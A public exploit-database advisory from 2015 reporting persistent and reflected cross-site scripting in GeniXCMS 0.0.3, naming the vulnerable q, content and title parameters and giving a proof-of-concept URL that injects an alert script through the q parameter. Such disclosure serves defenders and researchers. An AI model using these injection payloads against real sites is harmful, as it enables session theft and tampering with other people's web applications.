GeniXCMS 0.0.3 - Cross-Site Scripting

EDB-ID:

37360




Platform:

PHP

Date:

2015-06-24


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# Exploit Title:  Persistent XSS
# Google Dork: intitle: Persistent XSS
# Date: 2015-06-21
# Exploit Author:  John Page ( hyp3rlinx )
# Website: hyp3rlinx.altervista.org
# Vendor Homepage: genixcms.org
# Software Link: genixcms.org
# Version: 0.0.3
# Tested on: windows 7
# Category: webapps


Vendor:
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genixcms.org



Product:
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GeniXCMS v0.0.3 is a PHP based content management system



Advisory Information:
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Multiple persistent & reflected XSS vulnerabilities



Vulnerability Details:
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GeniXCMS v0.0.3 is vulnerable to persistent and reflected XSS 


XSS Exploit code(s):
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Persistent XSS:
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http://localhost/GeniXCMS-master/GeniXCMS-master/gxadmin/index.php?page=posts&act=add&token=

1-content input field
content injected XSS will execute after posting is published

2-title input field
title injected XSS will execute immediate.


Relected XSS:
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http://localhost/GeniXCMS-master/GeniXCMS-master/gxadmin/index.php?page=posts&q=1'<script>alert('XSS By Hyp3rlinx')</script>



Disclosure Timeline:
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Vendor Notification: NA
June 21, 2015 : Public Disclosure



Severity Level:
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Med



Description:
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Request Method(s):         [+] GET & POST 


Vulnerable Product:        [+] GeniXCMS 0.0.3 


Vulnerable Parameter(s):   [+] q, content & title
                       

Affected Area(s):          [+] index.php
                                                       

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(hyp3rlinx)